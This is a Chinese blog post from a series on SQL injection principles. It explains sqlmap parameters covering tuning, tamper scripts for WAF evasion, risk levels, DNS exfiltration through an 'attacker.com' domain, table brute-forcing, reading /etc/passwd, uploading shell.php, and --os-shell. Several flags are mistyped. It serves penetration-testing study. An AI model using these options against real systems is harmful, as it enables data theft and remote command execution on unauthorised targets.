• 原理篇—sql注入10:sqlmap常用参数3


    二十、优化

    20.1 一键优化

      参数:-o

      添加此参数相当于同时添加下列三个优化参数:

      1.-keep-alive

      2.-null-connection

      3.-threads=3

    20.2 HTTP长连接

      参数:-keep-alive

       该参数让sqlmap使用HTTP长连接。与“-proxy”矛盾

    20.3 HTTP空连接

      参数:-bull-connection

      有一种特殊的HTTP请求类型可以直接获得HTTP响应的大小而不用获得HTTP响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术需要服务器端支持的。该参数与“-text-only”矛盾

    20.4 HTTP并发

      参数:-threads

      使用该参数指定Sqlmap可以达到最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10.

    二十一、注入

    21.1 要测试的注入点

      参数:--dbms

      --dbms="mysql"可以指定哪种数据库注入

      参数:--os

      可以针对windows/linux扫描探测利用方法,poc可能会有所不同

      参数:--no-cast

      不加此参数将所有结果转换为字符串,用空格替换NULL结果。

      参数:--batch

      所有需要选手动选择的自动使用默认,不需要再选择或者回车

    21.2 修改注入数据

      参数:--tamper

      除了用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。

      该参数用于对payload进行混淆以绕过IPS或WAF

      该参数后跟一个tamper脚本的名字

    二十二、等级

    22.1 检测级别

      参数:-level

      设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload

    22.2 风险等级

      参数:-risk

      此参数用于指定风险等级,有1-4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。

      风险等级2添加了基于事件的注入测试,等级3添加了OR测试。

      若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。

      因此用户需要能控制风险等级避开有现在风险的payload

    二十三、注入技术

    23.1 基于时间延迟注入中延时设置

      参数:--time-sec

      用此参数设置基于时间延迟注入延时时长,默认为5秒。

      参数:--union-cols

      默认联合查询1-10列,随--level增加最多50列

      参数:--union-char

      联合查询时,默认使用NULL,极端情况下用NULL可能失败,手动指定数值,比如--union-char 123,空字符就会被填充为123,极少会遇到

    23.2 DNS泄露攻击

      参数:-dns-domain提高效率

      假设攻击者控制着某域名的域名解析服务器,即查询该域名的子域名对应的ip地址都会到这台域名解析服务器来查询

      这是攻击者就可以使用“-dns-domain attacker.com”来进行DNS泄露攻击

      实际上若是攻击者没有控制任何一台域名解析服务器,那么他可以注册一个新域名,再自己搭建一台域名解析服务器

    23.3 指纹

      默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别

      参数:-f或-fingerprint

      若想执行更广泛的数据库管理系统指纹识别可以添加此参数

      参数:-b或-banner

      若想得到更精确的指纹识别结果可以添加此参数

    二十四、暴力破解

    24.1 暴力破解表名

      参数:--common-tables

      有些情况下用“-tables”不能列出数据库中表明来,如:

      1.版本小于5.0的MySQL没有information_schema库

      2.版本大于等于5.0,但无权读取information_schema库

      3.微软Access的MSysObjects表默认不可读

      4.数据库用户权限过低无法读取表名

    24.2 暴力破解列名

      参数:--common-columns

      有些情况下用“-columns”不能列出数据库中表明来,如:

      1.版本小于5.0的MySQL没有information_schema表

      2.版本大于等于5.0,但无权读取information_schema表

      3.数据库用户权限过低无法读取列名

    二十五、数据

    25.1 一键列举全部数据

      参数:-all

      使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。

    25.2 列举数据库管理系统信息

      参数:-b或-banner

      大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统版本号和最后的补丁级别以及底层的操作系统信息。

      通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数”-b”来列举数据库管理系统的这一信息。

    sqlmap.py -u "http://127.0.0.1/saqmap/oracle/get_int.php?id=1" --banner

    25.3 查询命令

      --current-user 列出当前数据库的管理账号

      --current-db 列出当前数据库名称

      --dbs 列出当服务器有多少数据库

      --hostname 机器的主机名

      --users 查看数据库管理系统所有的用户账号

      --privileges -U username 查看某个数据库账号的权限  

    25.4 读写文件

      --file-red="/etc/passwd"dudaowenjian,文件夹中查看

      --file-write="shell.php" --file-dest="/tmp/shell/php"

        写一个什么文件,上传到什么路径

    25.5 操作系统

      --os-cmd 

      --os-shell

      --sql-shell

     25.6 绕过waf

      --check-waf 检测WAF/IPIS/IDS

      --hpp 绕过WAF/IPS/IDS,尤其是ASP/IIS和ASP.NET/IIS

      --identify-waf:彻底的检查,30多种产品

  • 相关阅读:
    如何自己手写一个热加载(转)
    阻塞I/O、非阻塞I/O和I/O多路复用、怎样理解阻塞非阻塞与同步异步的区别?
    Java NIO浅析 转至 美团技术团队
    mysql在线修改表结构大数据表的风险与解决办法归纳(转)
    MySQL性能优化
    Tomcat Connector(BIO, NIO, APR)三种运行模式(转)
    redis 单线程的理解
    Spring 中的bean 是线程安全的吗?
    Spring 自定义注解,结合AOP,配置简单日志注解 (转)
    redis 分布式锁
  • 原文地址:https://www.cnblogs.com/guoqingsentou/p/13622773.html
Copyright © 2020-2023  润新知